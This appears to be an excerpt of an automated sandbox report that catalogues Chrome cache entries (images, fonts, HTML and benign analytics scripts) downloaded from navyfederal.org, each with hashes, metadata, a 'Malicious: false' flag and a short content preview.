Preview:	RIFF.R..WEBPVP8 .R...5.......?-..Z..?..t<..%.gn..s....#n....'Z.)...'._.i2.......6.a.M.....~.........o...........{..z......1l./..3T33;.......o....(6.K..:...7...b....0......C..$.....L...0...G..9.....%..!.Q...6{....7...0...........B...j..b..b.;..J..L..hW.=.t.u,....S;.Y= ....]1P'..)..{54.D&.>e.M..=...I.o..K............Vf..F.;..@G.d.F...{B.4.^0._O;..(.N...#h......jZ.....D...)....R.......^J.JZ...Y..P.;.8.-.....tc.iq;.....=..;.xL..Gu1..@..i........7......TP\|.6.c6.+.........;.A..m...d.......vJ.B..(rz.[?..P.D.#.D..D..D..D..t.M...y........+...;.p.4....c....?.H.2..2Y..GEE.....Q.(^.9%..(..Y8...+.`U..#..B.....JR.k"...UUh.....K.....'..{(....V...0...Q.x@Z/..r...T.....H=..p.......b.8w.8w..i..k[.-3....)1.h!.}.,\|..l.O.V.<I..@d%p..'..Z1.....S ..)S.~)S.~)S.T.ZYl#N."[......2O.....$}.b$!...YQv\|..;..9.u9T....Z.D..D..D..C........j.......,mP.#Ny5B.u.....LV...z-i.52...Oe.'c..I..>.s.n98w.8w.88%..P.....m.u....+q..T.....q.n+!..Q..5<...@?.Z.b..U.............+MkV

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (476), with no line terminators
Category:	downloaded
Size (bytes):	476
Entropy (8bit):	5.856447458258293
Encrypted:	false
SSDEEP:	12:cOgd2z3utLPneSZRafe4WTggFBKu9fvtgizoLJq8Zbj:cO+w3utrne8RK/WTggFUu5vtTGJq6
MD5:	7D44C520C37FFBD0EAC5C4B3D3E63049
SHA1:	795DB04D626E137B439338D53D93F08E9BD152D8
SHA-256:	B2E091D8F5F42FECE940CC4FAA3B8386A10753364193E3DFAF706BF2A188B3CA
SHA-512:	CEEEC60CFDC65DFFFF20A4C66A141C4DC80EF2CE3F2EEBF5DA37F2A5D6A2B2C4B6927051B76BE53B31F69E0930F800FB5A3257C26851904AF47E01D5E315DAE9
Malicious:	false
Reputation:	low
URL:	https://liveengage.navyfederal.org/le_secure_storage/3.27.1-release_1249614302/lp-origin-trial.min.js
Preview:	!function(){if(!document.querySelector("#lp-origin-trial")){var i=document.createElement("meta");i.id="lp-origin-trial";i.httpEquiv="origin-trial";i.content="A77GUxMF2gPljjeX2xdlt25iXAGDqu3SWLRaxp24NcNGz++ZE9fkggbPexLArxAguTbk/8W5OtGUm5ki+fqC0wMAAACSeyJvcmlnaW4iOiJodHRwczovL2xwc25tZWRpYS5uZXQ6NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=";document.head.append(i)}}();

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	5353
Entropy (8bit):	7.919096444324844
Encrypted:	false
SSDEEP:	96:+cLjjm+FjV2TXjljEPBfW1PHAb2Pwj3yuGvPUUl4Rp6T4/Ub2lmE0n:+W/TdcTzlQ5q2tKPUO4wWjlTc
MD5:	13D1C91BED12803989B72A3CC8B2CE39
SHA1:	6A936432BD3F13041B845523D448730EDBBEB259
SHA-256:	079D8EFE8DB0AE0E71E984B31ADD9004127BBA209737FE9D00296243023F3E5D
SHA-512:	BC000B8951B32A48224E33231F5AE153C177B0E8F371F4371E4377157C4E631A546455AA7984C5E2E0ADA3D6C99F05CA8AF24CD8C6CD77438F712B4F36E51465
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/gettyImages-1386423775-alt?qlt=80&wid=320&ts=1711252930165&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D....................(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma...................mdat.....!......h@2.'.p.E.Q@.WVJ..g\|2F.e...#0e\L...=.w`7.g.pyg?..C..(.(t.....,5+.R...(.......`.....t.yv.2.u....:...T.s"n..0.`h......^v..y..l.Q..W..\.~......c..x.B1..w.........8....a..%`2a.N....u..}..VqI.R......J.i.g..=l...p.<....P.\|.B.YTtz...H..!.i..$. ....K..L...O.................?g..d.Oz:..Nn..K....&o.fs.%.K......}Ap....00. . .l.}......^.}....Ne."......w.T.D..y.P.....5...?.gG...-.9...]L...T.5.)w..vR..j..Y.K1....!..(V...O.[..H..&.i.A.(rB.d...T..H.O.....&,.. .w..........s..c..r.8..nx....v........T.....}`..>.......'. @.....WUF.E...5.a./.r.....4G..._M..:.-C....,....Kx...D.u..+.2u.U..+..Zd...W^.Y.....Q...r.1a.E...4.(.i........A.G..B!..3...._t2.P.a..i,bwC)#.....[....x.....

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	8972
Entropy (8bit):	4.888088591257187
Encrypted:	false
SSDEEP:	192:SJRc3GRbvwUk1RVy3rkEoMSIX/8qpbppui3bu46R0n:0c3GEy3rwMnUobppVm6n
MD5:	731C636340F99EF3BBF5D00B1C0157F9
SHA1:	1B3C13C4DB9CAD50E340DEDDB05F63533F6C4E6F
SHA-256:	BF698E25CFE27B30CF34F6490E13C0C857597362D03E622445CC959B30DC42D4
SHA-512:	711FAD78174A87A48340EFAFE42FE512A6FFDD363A7B364B46FC887A214BE4754A8C5B88E1F09A2AC32AB043A681FE80565EE73E8065E79E61AB01334CAEB986
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/content/nfcu/car-money-tag-arrows?ts=1713886117799&dpr=off
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 80 80">. <defs>. <style>. .cls-1 {. clip-path: url(#clip-car-money-tag-arrows);. }.. .cls-2 {. fill: #003056;. }.. .cls-3 {. fill: #2280bf;. }.. .cls-4 {. fill: #fff;. }.. .cls-5 {. fill: #ea7923;. }.. .cls-6 {. fill: #1f72b5;. }.. .cls-7 {. fill: #dcebf8;. }.. .cls-8 {. fill: #7ab4e2;. }.. .cls-9 {. fill: #257abe;. }.. .cls-10 {. fill: #005c90;. }.. .cls-11 {. fill: #036;. }.. .cls-12 {. fill: #0f3d70;. }. </style>. <clipPath id="clip-car-money-tag-arrows">. <rect width="80" height="80"/>. </clipPath>. </defs>. <g id="car-money-tag-arrows" class="cls-1">. <g id="Group_5402" data-name="Group 5402" transform="translate(-188 -1102.05)">. <g id="Group_5388" data-name

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x214, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	9802
Entropy (8bit):	7.981435954841926
Encrypted:	false
SSDEEP:	192:czcnOHovrq66Ri9+fg5jYK/8tfQfyXijYPiQaqe5wLy+wmC01ab2ADaKI:czcnOIvrqggfg5B8tIAfCwdUA
MD5:	A4483EBDDC18646A4FCFE934F5D21029
SHA1:	468BE355659B9D53617AFBD417224D767A73C09F
SHA-256:	53FA6E28F81FAA2B32E5892AC6EECBDDA9F1B1700B8DC052630E9FCE5E3B3948
SHA-512:	6C8D0E9A6F5368B6F1F2DDE3018D9B38E09DBF885645675849DB642C17BE4BED95A15D7A2F73D056CCA50F0CF174935119CAB0C67FCE08671835474739B70920
Malicious:	false
Reputation:	low
Preview:	RIFFB&..WEBPVP8 6&......@...>.@.I......=(...A.1.6D.!......_.5.?..gq[.zL.-...........cMC...'..\|.'..l..w.}....S..rq....z.{..?.y.3AO..1.....I....I.....5L...v2{`..........-."...UI...y..No...\|....a.=n.r].....n.C,...D...g. ..X...+..<..w9.^.U.#D>S.9\|.......c.....z..._...a.R......'{.;.Z.>...D......V?-Skz.....".3ded........F..'..g....h......;.Z\|.t.....ol..;.T.,.s...c..%C..lZ.%..,.l.i.%...'...."T:.`.o........F.......iGG...N.\....z.U-..>.n.<.V..T&...5A..rVK.20._.T....../T.'.2.\|.w.."...}....)%m.8.w....N......O......Orgy.........Y.u...0.A.;H.j.../.....mv.......#...L..j......K..''v7..W.J(........5[..8)`.>.....&..J.L.rfr....$A......D4..W..6E>....N~DjM._U&a\..NX.>..f...p...+...~e..7/4.1.#.Y."9.8..!.....c..l6......N.o..m...,$}if}z5...+P3S.]....O.roy~L.o.M..b..\,I_fH'...1$.O.....{.!....%..K.V,..f._.he..[Z.b..SS../a....)..{p....'.P.4ey.".t\'.......S..0AQ.d^j...\|J.b.41T....O..3&Z.....&.1.c..o.C7.D......S...aW_....l..Ts.n-./.uJ-B..L....0au3Z..?m^{.DXBc...

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 17940, version 1.0
Category:	downloaded
Size (bytes):	17940
Entropy (8bit):	7.989023159836467
Encrypted:	false
SSDEEP:	384:rplZ1nvHYxSeQ5IJrQiv5mI6f/QgnIApiPCUajutG58Xqvl:NlZ1KS6JrQQ5mbbn7+C18Xqvl
MD5:	3DA34F793316009F835D58414B8827A9
SHA1:	D9599D9D08C6FAB25EA2C5FC4C111F969CA25E51
SHA-256:	244EE9A4590B7B41D8DD4E1F6E398FC45E50F50BB4BCAE840575BDDD5D1AC5FE
SHA-512:	6525B9C0900E4C84A5B2E5D60A6B77C40CAB3E258493DB76FA4F4976722AD0AFD0753821EC1D04C2D997F8FCE8F6DD4F2A253DAF2347CD2409B1D2CF73E2315F
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/roboto-slab/roboto-slab-v6-latin-300.woff2
Preview:	wOF2......F...........E...........................J.X.`..d.8........<..?.6.$..v..>.. ..f..3......5l\.....+.(..#.....A.....I.a.o%...)L.L.K.....i9+..QL..U,x.@..]M=D..>7...e2".H..(..........m.../..i.=.t.j]...N.........]:b..q..&/..../.}..'..j......C.F.J......ht.......!.3...F`..T..".&.v.1E..Y=s.v;k........_.y.^U......$..t]84J.........C...U".....u..YX$E.\.........O..W...MH&Z.....J.u...t......(..._..\|-.-......^5...f..H.....b._......}.P\......6L..........I..3Y(....ITvw...L.sI..^._..wQA....kB..i'..t. .k;..b..B.B...f..%.J..RC.&o.b/.m.N..8...~?w...O.\|....a...k.....S....PM..:.Fgr.).o)uK.................J.@.F!E......A......&..][..)c.3L.GgK....M.3.....eJ...M[^.N.R8.M0..YC.1H...4........S.J68.Z....B..!?F......!.....&h.$........PQt...7..~.6......<]..wQ8.........&1.....t40.K ......b...d3.E..b..'.....(.2,.B.Rd9G.R..H-..,..OA ..x.P.F..Mz..1f....<.....qQ.z=z..7`.a#F..b.Ys.x.9..(...k ..W...?!.i...I.l.~fH....(H.....@......8..'!D.<...Q.. ....#=.O......+.

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (5089), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	125129
Entropy (8bit):	5.042900093494914
Encrypted:	false
SSDEEP:	768:BrJrC/j1xifxq1b4v1ekVyYfOOjm0p/NTtXnjynn+lrrHnPtxgc2uZKgtaW5sPc4:B98j7EOvmGOjm0p/NpBgc0S1FF9biX
MD5:	962D0E4C5AC788C58CE3413C73CBA86D
SHA1:	8AC9F1F6AB1BE2D690F9BBA65B36777834C4E7A7
SHA-256:	7CF8C73E71E01E430A6B46AFCB7F61CEA6B90A0ED351BB06282D016BF46A9AE1
SHA-512:	6709620B92384DBF890B452D541A0C17BE1564D6707B282FF253D89C4B1D900E6906D5A8DB0F07BE33A3645E82BBABAF338EC3712EDA5B0AEE18F26EA19BC1F1
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/contact-us.html
Preview:	.<!DOCTYPE HTML>.<html lang="en" class="no-js">. <head>..........<meta charset="UTF-8"/>..<meta http-equiv="X-UA-Compatible" content="IE=edge"/>..<meta name="viewport" content="width=device-width, initial-scale=1"/>.. Google site verification -->......<title>Contact Us \| Navy Federal Credit Union</title>..<meta name="title" content="Contact Us"/>..<meta name="description" content="Contact Navy Federal Credit Union. NFCU Member Service toll free phone number, mailing address, secure eMessaging, social media links, branch and ATM locator, bank routing number and links to other important Navy Federal phone numbers and addresses may be found on our Contact Us page."/>..... . <meta name="robots" content="index, follow"/>. <meta name="nfosearch" content="true"/>. ..<link rel="canonical" href="https://www.navyfederal.org/contact-us.html"/>.............<link rel="shortcut icon" href="/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/imag

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32726)
Category:	downloaded
Size (bytes):	354665
Entropy (8bit):	5.4104387488037675
Encrypted:	false
SSDEEP:	6144:ebXL4o/Kehut5Zufym2IuIn9xt16KgDkl:GSehuvZufymMS7t16KgDkl
MD5:	9F45A867F145DC8A8DDDB23E39145459
SHA1:	E8E073D2EA5D8A305081005298FFC275A3D25602
SHA-256:	B823B4966EFC0FDAEB5DA8CFE5AAD3520FCC224A4D2B1846B4008CAA024885C5
SHA-512:	9ABE551ED849A6619F5BCB7ADFB3B25B3CDAF34B7712F62815530758A8C72266DFC2BDB62B50D5E726F32518CC364DDD71995169F959148EB07FEB117F60BB65
Malicious:	false
Reputation:	low
URL:	https://assets.adobedtm.com/launch-ENade6a82789f74a53a864dd294d952d3d.min.js
Preview:	// For license information, see `https://assets.adobedtm.com/launch-ENade6a82789f74a53a864dd294d952d3d.js`..window._satellite=window._satellite\|\|{},window._satellite.container={buildInfo:{minified:!0,buildDate:"2024-05-23T17:41:33Z",turbineBuildDate:"2023-02-22T20:37:26Z",turbineVersion:"27.5.0"},environment:{id:"ENade6a82789f74a53a864dd294d952d3d",stage:"production"},dataElements:{ECID:{storageDuration:"pageview",modulePath:"adobe-mcid/src/lib/dataElements/ecid.js",settings:{}},"Property Name":{modulePath:"core/src/lib/dataElements/runtimeEnvironment.js",settings:{attribute:"propertyName"}},"Target - Category Affinity":{modulePath:"core/src/lib/dataElements/customCode.js",settings:{source:function(){let e=window.location.href;return-1!=e.indexOf("/loans-cards/credit-cards")\|\|-1!=e.indexOf("/makingcents/credit-debt")?"credit-card":-1!=e.indexOf("/loans-cards/mortgage")&&-1==e.indexOf("/home-ownership/home-equity")\|\|-1!=e.indexOf("/makingcents/home-ownership")&&-1==e.indexOf("/home-owne

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 800x534, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	35354
Entropy (8bit):	7.994946838031503
Encrypted:	true
SSDEEP:	768:ZIsa3I2UqIHInqBAl/aH39fpXGDawfFvAlb7lHAMEK:aDHUqIHICAlcXG1y7ltz
MD5:	F71552CB7171D56E1CA5D76C3FA27960
SHA1:	4E65380BC9E824803391F47ACAAB8C3B04BE50D6
SHA-256:	73DC445A89735A1F3086768F8A2C33AD484E261FC1600E218EADF920FB9A95CE
SHA-512:	FF0823B95EE32A2E75E04339296D8BE41E7DDC325EF047C0977E708A0B3FC2FE450192FFD92B7D2EB5E46FD04839B7C3A972B565B992D6FA04647E5F2D29658E
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8 ....P....* ...>.D.K%...$......g-.....!.W.9:.8.V.L.X.I...B\|....<....xr..'.?2....v.g./..a.ef/.OO....+.n.......=............W+N.Q......L..q../\|..CQT..dm..lk.t...o...+.Y..>...=..........q[n.I.f..h..8..>X..-..=...#..l...U..w...e......E%.....T...O....._.........Q..[dZ.A7..7.-...+.r..b.m.w]...4B..9....]..0..R..bN.....e'.../...L&..^`H\H..x....T!..H..'D.lE.v.4...AI...)....gJ..BWTH....p@7...J\n.1\|@.K....^...y.$..K.z.lI.3..}.F._.HsO.....Y..w..3.c./.j3....&..RU....>...~`u<.s.D:..m.a.. .H...RM......(Eg.g....kVE.. \.}I..{...b.........4..%.F.\Vy:I...... i...M'...:...B.O..J......$...h4Y.D.]z.BS.......Z.\|..zN.....P.K&&...h.B......Q..l.1M&...$^...\.9G.5P...WqT..5..d:!.TMhF3.....Nh#4. .....,.\/\8z....>A.w...3.......4.4Tf....3.].[.<B.!.x.e..T....&.e,...L....,.q.'.#.G.....+,.Xv.......C.....d.c..../...ys..R.}..Y.,...}.M...H.Z.....@1./7..)0..{.(..h.._.....T...y.n.(..9.(.-.X......NW..J....j.bC... ......._.="..N...)?l...6.'...{.4.).<.?.8C.S&...a

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (46429), with no line terminators
Category:	downloaded
Size (bytes):	46430
Entropy (8bit):	5.303853365298302
Encrypted:	false
SSDEEP:	768:OaOFhhR5OIahpjfRys3LzQR04TYYyDMOWPKQ:OaOFnRqDRtzQ64IfWiQ
MD5:	72BCA04FD669EB89FC65D59052D0FC00
SHA1:	27E60AEF86F0CB1B2F6B6ED9DF9A4E3BA88EFD21
SHA-256:	823804A7807864B44093A3843788F4CD076E89CF4A6FDEB8D153AE5C2C2DF721
SHA-512:	56058E4C927563CA37DEC4979AF28A415EA3042A389C0BA22738C76D39131317A703A38A95EAB9D913F116F7C2D1DA62A0A87750F47DECA2DDB3447D64303B12
Malicious:	false
Reputation:	low
URL:	https://bat.bing.com/bat.js
Preview:	function UET(o){this.stringExists=function(n){return n&&n.length>0};this.domain="bat.bing.com";this.domainCl="bat.bing.net";this.URLLENGTHLIMIT=4096;this.pageLoadEvt="pageLoad";this.customEvt="custom";this.pageViewEvt="page_view";o.Ver=o.Ver!==undefined&&(o.Ver==="1"\|\|o.Ver===1)?1:2;this.uetConfig={};this.uetConfig.consent={enabled:!1,adStorageAllowed:!0,adStorageUpdated:!1,hasWaited:!1,waitForUpdate:0};this.uetConfig.tcf={enabled:!1,vendorId:1126,hasLoaded:!1,timeoutId:null,gdprApplies:undefined,adStorageAllowed:undefined,measurementAllowed:undefined,personalizationAllowed:undefined};this.beaconParams={};this.supportsCORS=this.supportsXDR=!1;this.paramValidations={string_currency:{type:"regex",regex:/^[a-zA-Z]{3}$/,error:"{p} value must be ISO standard currency code"},number:{type:"num",digits:3,max:999999999999},integer:{type:"num",digits:0,max:999999999999},hct_los:{type:"num",digits:0,max:30},date:{type:"regex",regex:/^\d{4}-\d{2}-\d{2}$/,error:"{p} value must be in YYYY-MM-DD date

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 636x348, components 3
Category:	downloaded
Size (bytes):	17852
Entropy (8bit):	7.811581049602877
Encrypted:	false
SSDEEP:	384:YXkJFgCXmtCNPaQ7aIFaAFvrvizsK7UXCPSoil+djsqD:YU26aQRa+vrvizd7Nal0gK
MD5:	149D54D8AE0BB2E32BCFC7BB479E3580
SHA1:	94190D35AEE6B1B38077335929648ECD72EB2699
SHA-256:	D15BB5E6DB3D1C00788FA1A8D6CDFB1E98EE3B9CEC0BC349D254B3EB9EA4CBE2
SHA-512:	2D95DA71431A4BF5961AF0F464D7B7A6FB0B01282A26C901590F301BC33824B9BE49B0D2FFA033E1CD37248D4B840B7DB7E0C9770201711ECE39D2979FF56B95
Malicious:	false
Reputation:	low
URL:	https://cf-images.us-east-1.prod.boltdns.net/v1/static/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/f6a719e0-cb0d-4498-bad5-7b0c2e2cac1c/636x348/match/image.jpg
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......\.\|.."........................................S..........................!1.AQq..."24Rar......35BCSTUs.....#bt....6DV.$7....%c................................0.........................!1Q.A."23RaB..#....b.............?..`...............Mn..T.s...j./....m.G.H..................z..GY..bY`k.d...W7;S<[...e\....<...s..Nv..92b...............................................'.iz..>....8..........L.W;3.u...!....A .@....Q...W......N..'....uK./..E.D]...m.e...K.hO.7..J...3...mp&.=.\.R.....uS.FG:. ..*.E^c`l......'."nDC.A.r............~.9....:T..F."[k.{g.=%.....H.N...u$a...os...n...QZ....YN....\.I+...X6.k7.B...s.....w.U...4.^.D....0.^......4....H...... .................p2./...q..n.......@.........................................bm<,.bb..q..r`.....F...nK.=....H..^$;T....\.....SYW.N..{9uQ{!vo-3.o:...z".h~.u.Dh3]J.

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.280644557364196
Encrypted:	false
SSDEEP:	12:6v/7Fm5l188YSlaAH7+m6HaY8zOEz9aIwpVf+bkoFLeVabWoqZ8:TqyHkR8iEzYZVfIkottKDi
MD5:	FD8062CFBED2A0C779BC4FB03292CC3F
SHA1:	344EE7C4C0A5A0CEE134B2CEC9BE5FDC233C4CA7
SHA-256:	3AA13C5E612EB809D49E69695D82694D459110A305487267522342CA843E39A8
SHA-512:	85BD35307715DCDE5876E76EC899489E56C7113EA47C52B8BA97F21918FBE966331285E59E1E5A0F2E0C829ECCE5B08DDDBFD24637E6508FED5A407E4100E01C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................PLTE......OS[~..................Us !$.......]r....IDATx..... ..Q.A...f(...M...w..-7.....J..C.........z.. ..c...g..._.z&.@UJ?n........]]=.%."`.x..i5.O#....W.FW.+...Y....s..1.....b.!..W3....g.e..\.9.d...P.5C^.l.?.o3B;J.2>z.....Ql:.!...~Z.......A...U..a..#..........PJ.-q.2`6....6.......>.m..F.....\..J.jg./=.60........O.S....~N.c...z.f...a_.>..G.48.;.c.g.A...H.\...?......P.......Z.V.\|.........C[......Q...l.....;..=..9 ...........Q...fw.1)\.=.?........e! .hw....K.v............................................................;.[...}.......0x%.......`.t.TB.J......AR......\|%... ?...TB'.J.X... .a..pC......!..:q...x........._..O. ......6.TBn..86...s.L.N.."..8q..)yTB*...m%.....y....g./............IEND.B`.

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://px.ads.linkedin.com/attribution_trigger?pid=5351114&time=1716590758257&url=https%3A%2F%2Fwww.navyfederal.org%2F
Preview:	{}

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1600x782, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	26040
Entropy (8bit):	7.9614304964984175
Encrypted:	false
SSDEEP:	384:ljOyrh2USE6TAOYUuYhSfqrm4PSiCGTeQC/pyrr+EaBlnjrqTV7sjQv:ZjaAOYULSfqy1iHyjiUnjrqT1s0
MD5:	8AF8A2B2079955587428DDD5C89D8750
SHA1:	7B1F82A9BBBC8A979C72C969F3CBF7D9ABDF8E41
SHA-256:	5A03A58965684DA551C0B23CD2AC3D7BA945DCB5FF6EA856CCD19EFDCF9BCF67
SHA-512:	F12EEC3D3CD6AA2118127D2725068D1C6033A42CD2AF29FEB1968BC386A10E5E0CA44AF8388BB12F878B11970F7D5454EAF5546200AA155E0AB3F4D182960362
Malicious:	false
Reputation:	low
Preview:	RIFF.e..WEBPVP8 .e.......@...>.J.L...-.Q....gn.i2.M.Z.)....nmAm.......W.~g.........5...>........ry.y...........i.{....{...........I.......?.g.....o....~.{......g././._............_.......p......{?........S.....o....._.......?.....j.e..b..)w;.v..D.o..L\|.....0.k.N...kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm.......[kmm..?...u..[kmm.......[kmm.......[kmm..3......y.v....?/{.`...,..e.+..Kl.T.n4.iI.EB$J....`.xe.-8..[kmm.......[kmm........^XrByV.......S..ND5..+.z..-.t./JR`?c.&P..olBT.Opp&H4...V.79.....,.....u..[kmm.......v..9{R..._....[kmm.....CC..~........B0."...o{.,F"..b4..tm.Q].;....q....Oc....v.....3..Zt.*..H.r.N.`...../t.qi....[kmm.......Y.:.joEp.8.~..`.xe...M......8.......3!H1..(6N5...Y.@p..+. x..I.....$9..%!..%..v..>..9Q....CA......[kmm.......[km

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	178
Entropy (8bit):	3.443319403085906
Encrypted:	false
SSDEEP:	3:yionv//thPktklFtE5lxlAyv8/ixd/qllzShlXlNotsup:6v/lhPktk/m5l5jmlajgp
MD5:	DB9564029490754DA8331A03132C5E13
SHA1:	4773BD72BB7443E37E40C9E33820B07A12FF7B26
SHA-256:	0239D84800D90F767050E8E528D7BE59743DB88B3AC79A498BC2077B22F11189
SHA-512:	0E9CF1F2F571D9BDEED654EFD4C40D553372914AC6DF393912073E612448D35E286FE357FEC5EDFAFDCCD533D80536D2EF6BA16259046A775F01EB46DC7D2A8C
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i5!3i6!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=41361
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE...x......UIDATx......... .O.H.................................................................4....7N.U....IEND.B`.

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2023
Entropy (8bit):	4.787376110980472
Encrypted:	false
SSDEEP:	48:ceAvf3GlJzE6wHf0olDQLQb9GgkL6+UvOBLYBLyjh4UM:cvfWlJzEp0old5CKvO9Y9+4UM
MD5:	9EC2F39CD173C5021647DB9EF23A82A5
